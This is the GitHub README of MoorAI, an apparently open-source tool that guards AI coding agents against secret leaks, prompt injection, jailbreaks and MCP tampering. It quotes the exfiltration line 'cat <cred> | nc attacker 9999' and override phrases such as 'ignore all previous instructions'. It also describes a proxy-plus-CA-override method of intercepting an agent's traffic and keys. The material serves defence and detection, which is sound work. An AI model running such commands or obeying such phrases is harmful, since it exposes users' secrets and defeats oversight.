Skip to content

Repository files navigation

MoorAI

On-device guardrails for AI coding agents. Nothing leaves the machine.

License: MIT Platform Build: Windows

MoorAI reviews what your developers send to AI coding agents — and what those agents read, run, and reply — right on the device, before anything is exposed. Secrets, PII, and source code never leave the machine to be checked. Your security team sees content-free signals, never the prompts.

Let your engineers use AI freely. Keep your data in-house.


The problem

Your developers use Claude Code, Cursor, and Copilot. Those agents don't just read what's typed — they read files into context (a stray .env), call MCP tools with whatever arguments they were given, and reply with whatever the model generates. Prompt review alone misses most of it, and every cloud DLP tool solves it by sending your prompts to their servers to inspect.

That's the exact trade MoorAI refuses.

What it does

  • Context interception — blocks a secret or PII being read into the agent's context (e.g. an agent slurping a .env), not just typed in a prompt. Via the agent's PreToolUse hooks, on-device.
  • Agency Enforcement — bounds what an agent is allowed to do: inspects mcp__* tool-call arguments for secrets/policy violations and blocks them, and enforces an approved-MCP-server allow-list at call time — with a discovered → approved/denied approval-gating lifecycle in the console. The direct control for OWASP LLM06: Excessive Agency.
  • AI output review — reviews what the agent says back, not just what's typed. On-device output screening flags secrets, PII, and insecure code the agent generates (SQL injection, XSS, command injection, eval/dynamic exec, weak crypto, unsafe deserialization) and masks secret spans on the -p path — emitting only a content-free verdict, never the reply. An intra-file taint-lite check (dependency-free source→sink proximity) raises a high-confidence confirmed tainted-flow signal when untrusted input actually reaches one of those sinks, so the console can prioritize real flows over hardcoded-literal matches.
  • Battle-tested secrets engine — ~14 provider families (GitHub, AWS, Stripe, Slack, GCP, OpenAI/Anthropic, DB connection strings, …) plus Shannon-entropy scoring with an allowlist (UUIDs, git SHAs, base64) so it doesn't false-positive on the things that aren't secrets.
  • Model-endpoint allow-listing — bounds which LLM endpoints an agent may talk to. A base-URL override (ANTHROPIC_BASE_URL=…) or a direct call to a non-approved provider is flagged/blocked at the endpoint — the exfil-via-rogue-endpoint defense, host-level and content-free (loopback / local models always allowed).
  • Transit-override detection (#67) — the allow-list above asks where the agent is sending; this asks what the traffic passes through on the way. Setting HTTPS_PROXY plus a CA override (NODE_EXTRA_CA_CERTS, SSL_CERT_FILE, REQUESTS_CA_BUNDLE, …) on an agent leaves the destination untouched — so the endpoint allow-list still passes it — while every request transits an interceptor that reads the prompt, the generated code and the API key in cleartext. Measured, not theorised: with those two variables set, a real Claude Code session decrypted at the proxy with the client reporting the TLS as authorized, because the injected CA makes the forged chain legitimately trusted. It needs no privileges. MoorAI reports any proxy or CA override and denies an unsanctioned proxy when policy.transitAllow is set — proxy host and variable name only, never the CA path or its contents. Report-first by default, because a corporate egress proxy is legitimate; loopback is deliberately not auto-approved, since a loopback proxy is what an on-device interceptor looks like.
  • Slopsquatting firewall — an offline typosquat / hallucinated-package classifier (Damerau-Levenshtein against a curated popular-package list + a known-bad set) gates npm/pip/cargo install of near-miss names (reqeusts, lodahs) and documented hallucinations — the #1 AI-supply-chain threat, checked entirely on-device (name only).
  • MCP hardening — an approval-gating lifecycle for MCP servers, rug-pull detection (a server whose config changes after approval is knocked back to pending), and an invisible-payload scanner (Unicode tag-block / ANSI escapes / bidi-override / variation-selector smuggling) that catches instructions hidden from human review.
  • Skill Analysis — an inventory + intent view of the whole skill surface an agent auto-loads, not just its rules file: SKILL.md and .claude/skills/**, subagent definitions (.claude/agents/*.md), slash commands (.claude/commands/**), MCP server configs (.mcp.json, ~/.claude.json, managed-mcp.json, claude_desktop_config.json), the settings files that can carry hooks (.claude/settings.json, settings.local.json, managed-settings.json), plugin manifests and their hook/monitor declarations, path-scoped rules and memory files, plus the other vendors' equivalents (.cursorrules, .windsurfrules, .clinerules, copilot-instructions). Every file gets its kind, a set of intent category labelshidden-instructions, instruction-override, external-network-egress, security-control-or-privilege-change, references-credentials, invisible-characters, … — and a drift fingerprint per file. The labels are renames of findings the existing detection engine already produced; no text, matched span, or excerpt is ever attached, so a poisoned skill can be triaged without reading it off the device.
  • Per-agent destination map — the observed counterpart to your allow-lists: for each agent/tool, which external destinations it actually reached. Hosts (never a URL path or query string — they are not captured in the first place) and MCP server names, with call counts, first/last-seen, and the allow/ask/deny verdict each call actually got. Kept in an on-device ledger; the console gets one content-free alert the first time an agent touches a new destination, over the existing alert path. View it with moorai-destinations.
  • Agent entitlement envelope — declare each agent's authorized tools / path-prefixes / MCP servers; an action outside the envelope is flagged as entitlement drift and alerted or blocked — least-privilege for coding agents, content-free.
  • Local secret-egress detection — fingerprints your local secret values (.env, cloud creds) on-device as keyed one-way hashes and blocks an outbound command or tool-call that carries one verbatim — catching a real secret leaving even when it isn't in a recognizable token shape. Only the hash + a verdict leave.
  • Insecure-defaults screening — flags misconfigurations agents habitually emit (SSRF, path traversal, XXE, JWT alg=none, TLS-verify-off, wildcard CORS, debug=True, insecure randomness for tokens, hardcoded creds, world-writable perms, open redirect) — on top of the SQLi/XSS/RCE/deserialization coverage.
  • Sub-agent / A2A oversight — records agent-to-agent delegation (sub-agent spawns), scans the delegated prompt for injection, and applies the parent's entitlement envelope to the child so a delegated action can't slip past the parent's controls.
  • Jailbreak & injection detection — high-precision detectors for direct jailbreaks (DAN lineage, developer/god-mode, named personas, chat-template control-token injection) scoped so normal dev prompts don't trip them, with opportunistic local-model escalation on ambiguity.
  • Coach · alert · block · justify · kill — per policy, per tenant, per device. Nudge, warn, hard-block, require a signed justification, or kill the session — terminate the running agent (not just deny the one call) on a critical finding, in both the -p guard and the interactive host.
  • Coach-as-literacy (EU AI Act Art. 4) — each time MoorAI coaches a developer at the point of use (the why + what-to-do, mapped to OWASP LLM Top 10 / MITRE ATLAS), it records a content-free "literacy touchpoint" (topic + actor hash, never content). The console rolls these into a coverage view — demonstrable evidence of "measures taken" for a training program, not a substitute for one.
  • Context-aware severity — the same pattern is scored higher by where it was caught: a secret read into an agent's context or shipped as an MCP argument outranks one typed into a still-editable prompt.
  • On-device exposure ledger — a content-free local log of which credential/secret classes reached which agent, so an incident-response rotation is targeted, not a blanket burn. Plus a human-override intent log — the signal that separates legitimate agentic use from an attack. View both with moorai-ledger; nothing leaves the machine.
  • On-device, content-free — everything is checked locally. The console receives a category, a risk level, and a keyed one-way hash (HMAC-SHA-256 under your tenant's enrollment token) — never the prompt, the file, or the matched span. The key matters: an unkeyed digest of a phone number or an SSN is enumerable, so it is not one-way in practice. A device with no enrollment token emits an explicit non-correlatable marker instead of a weaker hash.
  • Opportunistic on-device model escalation — when a regex scan is ambiguous and your policy enables it, a local model (Ollama on the loopback interface) gives a second opinion. The text goes only to 127.0.0.1, never off the machine; a failure never changes the decision. Off by default.
  • You control the evidence — nothing trains anyone's model, and on-device signal logs are pruned on your schedule (MOORAI_RETENTION_DAYS, default 90; 0 = keep forever). Content-free by construction, not by promise.

Why you can trust the "nothing leaves" claim

Because you can read the code. The agent is MIT and open source — the whole detection and reporting path is right here. Cloud DLP tools ask you to take "we don't store your prompts" on faith. MoorAI's telemetry is content-free by construction, and the construction is auditable.

Governance without surveillance.

Install

macOS (Apple silicon) — download the .dmg from moorai.glick.run/download/app (it is not attached to GitHub Releases), or brew install --cask gitayg/tap/moorai — see packaging/README.md. The app updates itself in place. Windows — download the signed -setup.exe from Releases (built in the open by CI).

Community edition: runs standalone, local policy control, no account required.

Enroll a device in a management account

Two ways, both in the app's settings panel (the gear in the status bar):

  • Create an account from inside the app — enter an organisation/admin name and an email, press Create account, then click the verification link in the email that arrives. The app waits on that click and enrolls itself the moment it lands; there is no token to copy. The app polls by a single-use, 30-minute claim token only — your email address is never sent back to the server, so the wait cannot be used to ask whether some address has an account.
  • Paste an installation token — for devices provisioned by an admin. Get one from the MoorAI portal → Installs → Create installation, or provision from a terminal with the curl line the panel shows. MDM-provisioned installs (Jamf/Intune writing ~/.moorai/config.json) use this path and never see the signup form.

One-line install (CLI guard + Claude Code hooks)

curl -fsSL https://raw.githubusercontent.com/gitayg/moorai/main/scripts/install.sh | sh

Clones to ~/.moorai, installs dependencies, and registers the on-device PreToolUse hooks. Needs git and Node 18+; content-free, no account. Set MOORAI_NOHOOK=1 to skip hook registration, or MOORAI_HOME to change the location.

Try the CLI guard in 30 seconds

npm run guard -- "here is my key sk-ant-api03-... please debug the charge"
# ✗ blocked by policy — nothing sent to claude -p (#39 secret)

Wire the context-interception hooks into Claude Code

node cli/moorai-hook.mjs install     # registers PreToolUse + PostToolUse hooks in ~/.claude/settings.json
node cli/moorai-hook.mjs uninstall   # removes only MoorAI's entries

Now a Read of a .env, a secret in an MCP tool-call argument, or a call to an unapproved MCP server is blocked before it reaches the agent — content-free, fails open (governance, not a sandbox).

Which tools the hook actually sees. PRETOOL_MATCHERS in cli/moorai-hook.mjs is the single source of truth, and it registers Read · Bash · mcp__.* · Task · Write · Edit · MultiEdit · NotebookEdit · WebFetch. The write family scans at the output stage, deliberately not file: the file stage pulls in the 61-detector injection family, and an agent writing a doc that quotes "ignore all previous instructions" is a doc, not an attack. Existing installs converge on the current matcher list on ordinary invocations — only when MoorAI entries are already present, so nothing an operator uninstalled is ever re-added. The Cursor CLI runs these same hooks but renames the tools: its shell tool arrives as Shell, which the hook treats exactly as Bash (Cursor already rewrites the registered Bash matcher to Shell, so no extra matcher is registered). A Read is also checked against #55 by path, so reading a .env — relative, absolute or ~/…, including .env.local / .env.production — gets the same ask as cat .env; .env.example / .env.sample / .env.template are not flagged.

Other agents. node cli/moorai-agent-hook.mjs <codex|copilot|gemini|cursor> install registers a pre-tool hook in that agent's own config (~/.codex/hooks.json, ~/.copilot/hooks/moorai.json, ~/.gemini/settings.json, ~/.cursor/hooks.json); uninstall removes only MoorAI's entries. Each adapter in cli/agent-hooks/ translates the agent's hook payload into the Claude Code shape, runs the same hook (same engine, policy and telemetry), and translates the verdict back. Each was built from that vendor's documentation and published source, and is tested against fixture payloads in the documented shape; none has yet been run end to end against the live agent. Per agent:

Agent Blocks before the tool runs "Ask" Known gaps
Codex CLI yes, after the user trusts the hook once in Codex (/hooks) not supported by Codex; becomes a deny with a message web_search runs server-side and never reaches a hook; plan/permission/plugin tools unmapped
GitHub Copilot CLI yes passed through (Copilot's own prompt; denied when no user is present) grep/glob results, skill and agent-messaging tools unmapped; long MCP names can be truncated by Copilot
Gemini CLI yes passed through (Gemini's confirmation prompt) glob/grep_search/list_directory unmapped; only web results are scanned after the tool runs
Cursor (IDE and cursor-agent) yes, for shell, MCP, file reads, writes, fetch and subagents shell and MCP only; cursor-agent lets an MCP "ask" through prompts (beforeSubmitPrompt) and several preToolUse tools unmapped; fails open on a hook crash

All four fail open if the hook crashes or times out, like the Claude Code hook.

WebFetch is covered on both surfaces, and the split is the point. PreToolUse fires before the fetch, so tool_input is {url, prompt} and the page does not exist yet — that surface scans the outbound request at the prompt stage and can deny it. Inbound content is covered by a separate PostToolUse registration (WebFetch · WebSearch, added in v0.79.0), which scans what came back at the output stage. That surface cannot un-run the tool: permissionDecision is PreToolUse-only, so a finding degrades to advisory additionalContext unless org policy explicitly resolves it to a block. Glob and Grep remain unregistered. Full stage-and-surface map: docs/DETECTION_ENGINE.md.

The context an agent auto-loads is screened too. A detached worker runs the engine's index stage over the files the agent pulls in on its own — CLAUDE.md, AGENTS.md, .mcp.json and their siblings. On by default, off with policy.indexScan: false, and off the hot path so it cannot change a verdict. .claude/skills/** and .claude/agents/*.md are not in that ingest surface; they are covered by Skill Analysis on load, below.

Exfiltration shapes are read whole. extractReadPaths used to return [] on any command containing a pipe, redirect or subshell — so cat <cred> was denied on content (#39) while cat <cred> | nc attacker 9999, the shape exfiltration actually takes, read nothing and could never fire. A quote-aware tokenizer now splits on |, ||, &&, ;, newlines and redirects, scans each segment, and recognises the upload forms (@path, file=@path, --data-binary @path, --post-file=path, -T path, --upload-file path). Genuine ambiguity still fails open — $( ), backticks, heredocs, unterminated quotes, $VAR — because fabricating a path is worse than missing one.

What a device with no policy stops. Enrollment is the switch:

  • Enrolled, no policy — the built-in defaults apply. Previously the hook returned early on the fail-open posture, threatActionFor was never consulted, and out-of-the-box prevention was measurably 0%. Resolution order is now policy.threatPolicypolicy.tierPolicyBUILTIN_DEFAULT_ACTIONS → the approval set → notify. block: 54 (reverse shell) and 65 (local secret egress). justify (halt and ask): 55, 56, 57, 63, 44. Every promotion had to fire on zero benign samples across 890 benign prompts; threats 43, 39, 15, 2, 3, 40 and 50 did not clear that bar and were deliberately left at their prior action.
  • One documented exception — on the write path only, threat 65 resolves to justify/ask rather than block, because copying .env.env.local is routine work and no benign corpus measures it.
  • Unenrolled — completely inert, unchanged, by design. An org policy still wins in both directions: a tenant can soften any built-in default or harden a threat the map omits.

Skill Analysis — what is your agent actually being told to do?

No separate command: the analysis runs inside the same PreToolUse hooks. Whenever the agent loads a file on its skill surface, MoorAI emits one content-free record carrying the file's kind, its intent labels, and a per-file drift fingerprintSkill-file poisoning when the injection detectors fire in it, Skill-file drift when it changed since MoorAI last saw it, Skill-file intent otherwise.

Limits, stated plainly.

  • Intent coverage is exactly detector coverage. Every label is a rename of an existing threat id, content tell, or host extraction — there is deliberately no second detection engine here, because a forked engine would sit outside threatActionFor and your detector packs. An instruction the engine has no detector for produces no label: "no labels" means "nothing the engine recognizes", not "benign".
  • Files are seen when the agent loads them, via the Read/Bash hooks. MoorAI does not walk the filesystem inventorying skill files that no agent has touched, so a freshly poisoned file is flagged on first load, not before it.
  • The drift fingerprint is an unkeyed DJB2 of the whole file, not the keyed HMAC used for matched spans. That is deliberate: the keyed hash exists because an SSN or a card has a small enough candidate space to enumerate, which a whole agent config file does not — and an unkeyed fingerprint is what lets the console see that two devices hold the same poisoned file.
  • Path classification is by filename, not by content, so a file that an agent loads through a non-standard path (skillDirectories, a symlink farm, a plugin root outside the known layout) is scanned by the detectors like any other file but is not labelled as skill surface.

Review what was exposed — on-device, no server

npx moorai-ledger              # which credential classes reached which agent (for targeted rotation)
npx moorai-ledger --intent     # human overrides — who chose to proceed past a finding
npx moorai-ledger --format md  # Markdown report

Content-free by construction: category, risk, stage, device, and a keyed one-way hash — never a secret value.

Where did this agent actually reach?

npx moorai-destinations              # per-agent map of hosts + MCP servers reached
npx moorai-destinations --format md  # Markdown report

Per agent/tool: every external destination observed, with call counts, first/last-seen and the allow/ask/deny verdict each call got. A destination is a host or an MCP server name — never a URL path, query string, request body, tool argument or response, because the extractor never captures them. Compare against your MCP allow-list and model-endpoint allow-list to find reach the policy did not intend. Reads only ~/.moorai/destinations.jsonl; nothing leaves.

Limits, stated plainly. The map sees what the hook sees, which is Bash commands and MCP tool calls — not raw sockets opened by a compiled binary or by an MCP server's own child process. Hosts are extracted from http(s):// URLs, so curl example.com (no scheme), an SSH remote, or a bare IP literal is not recorded; a dotless internal hostname is captured only when it appears as a base-URL env-var override (OLLAMA_HOST=http://gpu-box:11434), not from a plain URL. It is an inventory of observed reach, not a network tap.

Verify your policy catches the attacks — on your own machine

npx moorai-redteam             # run the adversarial corpus against YOUR active policy
npx moorai-redteam --format json

Runs a built-in adversarial corpus (prompt injection, jailbreaks, secrets/PII, license, destructive commands) locally and reports, per attack class, whether your live policy actually acts on it — not just whether the engine can detect it. Verify, don't trust. Content-free; exits non-zero on any gap.

Is an agent behaving like an autonomous attack?

npx moorai-agentwatch             # score recent on-device agent activity vs the autonomous signature
npx moorai-agentwatch --emit      # also send a content-free alert to your server → SIEM/SOC

Scores recent agent activity against the 8 behavioral tells the CSA/SANS Hugging Face Incident Post-Mortem (§IV) used to conclude that attack was fully autonomous — repeating already-succeeded actions, machine-speed bursts, benchmark/decoy strings, LLM-generated obfuscation, leftover opsec artifacts, and more. Runs on the device; the hook also emits an alert automatically when the signature trips. Content-free: timestamps, action fingerprints, allow/deny, risk, and tell flags — never content.

Investigate, discover, attest — three content-free reports

npx moorai-trace                              # replay the agent's action chain, in order — for incident investigation
npx moorai-shadow --strict                    # find unsanctioned AI (models · MCP servers · editor extensions) vs your allow-list
npx moorai-compliance --framework eu-ai-act   # evidence pack mapped to EU AI Act / NIST AI RMF / ISO 42001 controls
npx moorai-compliance --format stix           # export the same findings as a STIX 2.1 bundle for SIEM/TIP interchange
npx moorai-verify-chain                       # tamper-evidence check — detect a deleted, reordered, or edited evidence-log record
npx moorai-honeytokens register               # register a content-free canary (only its one-way hash is stored)
npx moorai-attest                             # export governed records as an in-toto / SLSA provenance attestation (SSCS interchange)
npx moorai-aibom --format cyclonedx           # export the AI Bill of Materials as a CycloneDX 1.6 SBOM (also --format spdx)
npx moorai-scan ./some-skill                  # PRE-INSTALL gate — a content-free verdict on a skill/agent artifact before you install it
npx moorai-scan ./.mcp.json --packages        # …and download + statically analyse the npm/PyPI package each MCP server launches
npx moorai-scan --package npm:@scope/server   # one package (also pypi:<name>, github:<owner>/<repo>[/<skill-path>])
npx moorai-scan --package github:owner/repo   # a whole source repository — an MCP server with no npm/PyPI package
  • moorai-trace reconstructs the on-device action chain — time · actor · tool · decision · risk · destination · args-hash — from the content-free logs, so you can answer "what did this agent do?" after an incident without ever surfacing a prompt or file.

  • moorai-shadow layers a sanctioned/unsanctioned check on top of the AIBOM inventory (allow-list in ~/.moorai/config.json sanctioned, or MOORAI_SANCTIONED); --strict exits non-zero for CI/posture gates.

  • moorai-compliance maps the device's existing content-free signals to framework controls and marks each covered / partial / not-covered honestly — the evidence layer a cost-pressured SOC can actually keep. --format stix emits the findings as a STIX 2.1 bundle (custom x-moorai-finding objects + hash-keyed indicators) for threat-intel interchange.

  • moorai-verify-chain walks each on-device evidence log and verifies its prev-hash chain — a deleted, reordered, or in-place-edited record breaks the chain and is reported. Every log line and every emitted OTel span is chain-stamped (cli/record-chain.mjs), so the record hash proves each record and the chain proves the sequence (immutable once streamed to your SIEM).

  • moorai-honeytokens registers content-free canaries — a decoy value nobody should ever touch; only its one-way hash is stored, and a later hit is a high-signal alert with zero content at rest.

  • moorai-attest emits the governed record chain as an in-toto attestation / SLSA provenance predicate, built only from the content-free fields (tool · category · risk · decision · stage · tenant + the one-way hashes + chain seq/prev/chash) — so an agent's action evidence plugs into the software-supply-chain attestation ecosystem without carrying any content. The AIBOM also exports as a standard CycloneDX 1.6 or SPDX 2.3 SBOM (moorai-aibom --format cyclonedx|spdx).

  • moorai-receipt emits a signed, content-free per-verdict decision receipt — a strict-allowlist payload (tool · category · risk · decision · stage · tenant + the one-way hashes + chain seq/prev/chash), a SHA-256 digest bound only to those fields, and an ed25519 signature from the same per-device agency key as the MCP-approval tokens. moorai-verify-chain --offline <file> verifies a receipt (or an in-toto attestation) with no network — recomputing the digest to reject tampered payloads and checking the signature against a pinned key. Generation is fail-open (a null signer yields a valid unsigned receipt); verification is fail-closed.

  • moorai-scan is a pre-install skill gate — MoorAI's on-device, content-free answer to a cloud "skill scanner". Point it at a skill/agent artifact on disk (a directory, a SKILL.md, a .mcp.json, a .claude/agents/*.md, …) before you install it and it walks the path, classifies each file's skill-surface kind (data/skill-surface.js), and runs MoorAI's own shipped detection engine over each text file at stage file (and tool for JSON MCP configs). The verdict is derived from the engine's own allow/ask/deny decisions — never an invented 0-100 score: any denyDO-NOT-INSTALL, any askREVIEW, low findings only → CAUTION, nothing → CLEAN (the worst across all files). No external scanner is bundled or invoked, and no enrollment is required (it runs before you install, possibly before you enroll). Output is JSON (or --format md) and is content-free — per finding only {relativePath, surfaceKind, threatId, category, intentLabels, contentHash, tier}, never the matched text or file contents — so it never becomes the exfiltration channel a cloud scanner is. Exit codes slot into CI: 0 for CLEAN/CAUTION, non-zero for REVIEW/DO-NOT-INSTALL, tunable with --fail-on <tier>.

    Package code (--packages, --package). With --packages, each MCP server whose config launches a package (npx, pnpm dlx, bunx, yarn dlx, uvx, uv tool run, pipx run) is downloaded from the public registry, its digest checked (npm sha512 integrity, PyPI sha256; a mismatch fails closed), extracted into a temporary directory with traversal, link and size guards, and analysed statically — nothing in it is executed. Only the package name and version leave the device, and only with the flag (or MOORAI_SCAN_PACKAGES=1); without it the packages are listed as not analysed. Package code gets its own checks — install scripts that download or run remote code, runtime self-install, environment or credential harvesting next to a network send, obfuscated eval, socket reverse shells, typosquatted names, known-malicious packages — and the prompt-oriented detectors are scoped by file type: in code and docs they report at most CAUTION, because an MCP server spawning processes or calling APIs is expected. DO-NOT-INSTALL needs concrete evidence of malicious or unsafe-by-construction behaviour. Docker images and remote-only servers are reported as not analysed.

    Streamed, so a big package fits in a small container. The artifact is streamed to a temp file and hashed while it streams — the registry digest is still verified end to end, but nothing larger than one archive entry is ever resident. Tarballs are gunzipped through a streaming parser; a zip/wheel is read by offset from the temp file rather than loaded whole. Measured on npm:n8n-mcp (a 33 MB tarball, 957 files): peak RSS 358 MB → 188 MB, same wall time (~3.9 s). Every temp file is removed in a finally, including on an integrity failure or an aborted body. Caps are 128 MB compressed / 512 MB extracted / 10000 entries, each overridable (MOORAI_SCAN_MAX_ARTIFACT_MB, MOORAI_SCAN_MAX_REPO_MB, MOORAI_SCAN_MAX_EXTRACT_MB, MOORAI_SCAN_MAX_FILE_MB, MOORAI_SCAN_MAX_ENTRIES). An archive over a cap reports archive-limits-exceeded and REVIEW — an unfinished scan is never reported as a clean one.

    GitHub source repositories (--package github:<owner>/<repo>[/<path>][@ref]). Many MCP servers are published only as a source repository, with no npm or PyPI package. With a <path> this fetches a single skill folder; with no path it extracts and scans the whole repository, reporting ecosystem: "github", the resolved commit from the archive's pax header, and integrity: none (a git archive carries no registry digest). Only owner/repo/ref leaves the device, to codeload.github.com. What is not the product is dropped during extraction and never costs a byte of the budget — .git/, node_modules/, vendor/, .venv/, __pycache__/ — while dist/, build/ and target/ are kept, because checked-in build output ships exactly as a package's dist/ does. And because a repository carries its tests, examples, docs and its own CI and dev-environment tooling, block-tier evidence in those paths is reported at REVIEW with its path and a test-code / repo-tooling label, not as a DO-NOT-INSTALL verdict — a published DO-NOT-INSTALL is a public accusation about the product. That rule came from measurement, not taste: metabase was a false alarm (a CI test drives git through pty.spawn, no socket anywhere) and posthog a true curl … | sh in an optional developer bootstrap. The same evidence in shipped server code keeps its block tier, pinned by a true-positive twin test.

  • Per-agent behavioral baseline detectors. On top of the fixed agent signatures, three content-free detectors flag deviation from an actor's own established behavior: a velocity burst (cadence far above the actor's robust median/IQR), a confused-deputy pivot (an injection tell followed by a sensitive action in the same actor's window), and a fan-out anomaly (a spawning actor delegating to abnormally many subagents). Features are all hashes/metadata; thresholds are chosen for explainability and not yet tuned against a production distribution.

  • Obfuscation-resistant detection. A bounded, DoS/ReDoS-capped decode/normalize pre-pass re-runs the detectors over decoded and reversed variants, so encoded/obfuscated payloads (base64/hex/rot13/caesar ciphers, reversed text, composed transforms) that defeat plain-text scanning are still caught. All ten HackAgent families — CipherChat, FlipAttack, h4rm3l, DAN, AutoDAN, BoN, AdvPrefix, and the persuasion/multi-turn families PAP, PAIR, TAP — are caught by content-free detectors, the last three via a weighted persuasion-tell + crescendo-trajectory analyzer (data/crescendo.js). Measured honestly, and the honest answer depends heavily on how hard the test set is — we publish both:

    • Mild paraphrases (npm run redteam-eval, 29 held-out samples, 178-prompt benign corpus): 100% held-out (29/29) at 94% precision (4 FP/178). Read that as a regression gate, not a generalization claim — a v0.71.0 tuning wave targeted these 29 samples, which burns them as a held-out set. The locked half below is the honest out-of-sample number.

    • Adversarial mutations (node scripts/score-heldout-v2.mjs, 105 fresh attacks built by a mutation generator across 29 transformation axes — synonym/voice swaps, directive-in-code-comment/JSON/blockquote indirection, homoglyphs, letter-spacing, caesar/rot13, persona and persuasion recombinations). This set is split into a tune half and a locked test half (scripts/split-heldout-v2.mjs, stratified by family+axis); detector work may only see the tune half, so the locked half stays a valid measure:

      before fixes after fixes
      Locked test half, deterministic (never seen during tuning) 31.8% (14/44) 86.4% (38/44) at 100% precision (0 FP/10)
      Locked test half, full stack (+ on-device model) 100% (44/44) at 100% precision
      Tune half 34.4% (21/61) 100% (61/61)

      Precision is measured against a 610-prompt benign corpus (test/redteam/benign-corpus-v2.json, 269 adversarially-shaped hard negatives): 3.32% false-positive rate (20/602). That rate went up, and the reason is the point: 101 deliberately-obfuscated benign samples were added, and before they existed the FP gate could not tell a safe detector apart from one scoring 48 false positives. A harder corpus with a worse number is a better measurement than an easy corpus with a good one.

    The original 33% was the real finding: the detectors had been overfit to the phrasings they were tuned on. Fixing four named root causes — a too-narrow policy-negation vocabulary, a rules-slot that broke on one adjective (override your safety rules), no confusable/homoglyph folding, and synonym-blind fuzzy matching — lifted the locked half from 31.8% to 70.5% with precision unchanged. The 8-point tune/test gap is the honest overfit margin. Still weakest: persuasion, thought-experiment and leetspeak axes (PAP/TAP remain near zero — they live in the semantic layer, not these detectors). None of this changes the fact that the action layer — which blocks the tool call regardless of whether the prompt was ever classified — is the durable control, not prompt detection. An optional on-device semantic escalation layer (--semantic, a local model, zero egress) recovers most of the residue (~97% held-out in a sampled run) but is opt-in and environment-dependent, so it is not the headline number. npm run validate-blocking shows every malicious tool call still denied at the hook even after a jailbreak.

Stream to your SIEM / observability stack — OpenTelemetry, content-free

Point MoorAI at any OTLP collector and every governed decision is exported as an OpenTelemetry span (GenAI semantic conventions) that Datadog, Dynatrace, Grafana, Elastic, or your SIEM ingest natively — but carrying no prompt, response, argument, or file-path content. Only governance metadata and the tenant-keyed argument hash leave: gen_ai.tool.name, moorai.category, moorai.risk, moorai.decision, moorai.args_hash. A blocked call is an ERROR span, so denials light up in your existing dashboards. It is the standard telemetry envelope with none of the content — observability you can pipe into your SIEM without a data-residency problem, and without vendor lock-in.

export MOORAI_OTLP_ENDPOINT="https://otel-collector.example:4318"   # OTLP/HTTP (JSON) base URL
export MOORAI_OTLP_HEADERS="x-api-key=…"                            # optional ingest headers

Off unless an endpoint is set; emission is bounded and best-effort and never affects an enforcement decision. (Or set otlpEndpoint / otlpHeaders in the device config.)

Coverage

Agents Claude Code (full hook enforcement) · Codex CLI, GitHub Copilot CLI, Gemini CLI and Cursor: pre-tool hook enforcement through cli/moorai-agent-hook.mjs (see Other agents below) · Claude Desktop · VS Code / Copilot · any project .mcp.json consumer (MCP stdio proxy — enforcement, host-independently, but only over MCP; see the bound below)
Surfaces prompts · AI outputs · files read into context · files the agent writes or edits · MCP tool calls · MCP tool listings and tool results · outbound WebFetch requests · pasted images (on-device OCR) · the agent's auto-loaded context files (CLAUDE.md, AGENTS.md, .mcp.json, …) · the agent's auto-loaded skill surface (skills, subagents, commands, MCP configs, hook-bearing settings)
Platforms macOS · Windows · Linux (on-device OCR is a second-class tier — see below)
Detects secrets · PII / PHI · source-code leakage · prompt injection · destructive commands · second-order/hidden-instruction injection · skill-surface poisoning & drift

The bound on host-independent enforcement, stated plainly. The MCP proxy enforces on any host that launches a stdio MCP server, in both directions — but MCP is one wire. Measured against a 12-action malicious set, the proxy refused 12/12 while enforcing (8 by the argument scan, 2 by the result scan) and forwarded 4/4 benign actions — yet only 4 of those 12 actions natively traverse MCP at all. The other eight reach the machine through a host's own built-in tools, where the Claude Code PreToolUse hook is the control and the proxy sees nothing. So "host-independent" is true of the mechanism and narrow in reach; full coverage is still a Claude Code property.

Image inspection (#23) — where the OCR runs

A pasted screenshot is text as far as policy is concerned, so MoorAI recovers the text and runs it through the same detectors as any pasted file. That extraction uses the operating system's own text-recognition engine: no model is bundled into the installer, and the image never reaches the MoorAI console. Honest platform matrix:

Platform Engine Does the image leave the device?
macOS Vision.framework (VNRecognizeTextRequest) — ships with the OS No. Fully on-device.
Windows Windows.Media.Ocr.OcrEngine — ships with the OS, needs an OCR language pack for a profile language No. Fully on-device.
Linux Tesseract via the leptess binding (system libtesseract, pulled in as a .deb/.rpm dependency) — opportunistic, second-class vs the OS engines No. Fully on-device.
Windows with no OCR language pack, or the app opened in a plain browser none See below.

Where the OS provides no engine, MoorAI does not fall back to its own servers. If — and only if — the device already holds an AI provider key (ANTHROPIC_API_KEY, the admin key file at ~/.moorai/provider-key, or the agent token saved in MoorAI; the same resolution as data/device-inference.mjs), the app offers a fallback that sends the image device → provider directly, to the provider the developer's own agent already talks to. That path is disclosed in the UI before it runs and emits a content-free alert so it is visible in the console. With no engine and no key, image inspection is skipped and says so — it never degrades into silent egress.

The Windows engine is runtime-verified on a real Windows 11 host — Windows.Media.Ocr read back 8/8 sensitive strings (incl. an AWS key and an SSN) off a clean render. The Linux/Tesseract tier is validated end-to-end but second-class: accuracy on dense secret strings is below the macOS/Windows OS engines, so treat it as opportunistic, not parity.

Using the engine as a library

The scan engine is importable as a stable API from the moorai/scan entry point, so another app can depend on this repo directly without reaching into internal paths.

Add it as a pinned git dependency:

npm install github:gitayg/moorai#v0.82.0

Then scan a path on-device (findings are content-free — hashes, never the matched text):

import { scanPath } from "moorai/scan";

const result = scanPath("./some-skill");
console.log(result.verdict); // CLEAN | CAUTION | REVIEW | DO-NOT-INSTALL

The barrel (scan.mjs) re-exports only the public scan surface — scanPath, scanFileText, buildEngine, decideText, skillIntents, contentHash, skillSurfaceKind, isSkillSurface, and the VERDICTS / VERDICT_RANK / decisionToVerdict / worseVerdict / tierOf / jsonStrings / NO_KEY helpers — so internal files can move without breaking consumers.

How it works

A small Rust (Tauri) host wraps the agent's terminal; a local webview runs the detection engine. Prompts, file reads, tool calls, and outputs are checked against a 67-threat matrix (17 categories) + content rules + org-defined detector packs — entirely on the device. A separate, proprietary management console adds a multi-tenant dashboard, SSO, fleet policy, and content-free compliance exports (AIBOM, EU AI Act records, board AI-readiness report, SIEM streaming). Open-core: this agent is MIT; the console is commercial.

Learn more

License

The MoorAI community agent is licensed under the MIT License. The management server is a separate product, source-available under the Elastic License 2.0.

About

MoorAI — open-source, on-device guardrails for AI coding agents (community edition, MIT)

Topics

Resources

Contributing

Security policy

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages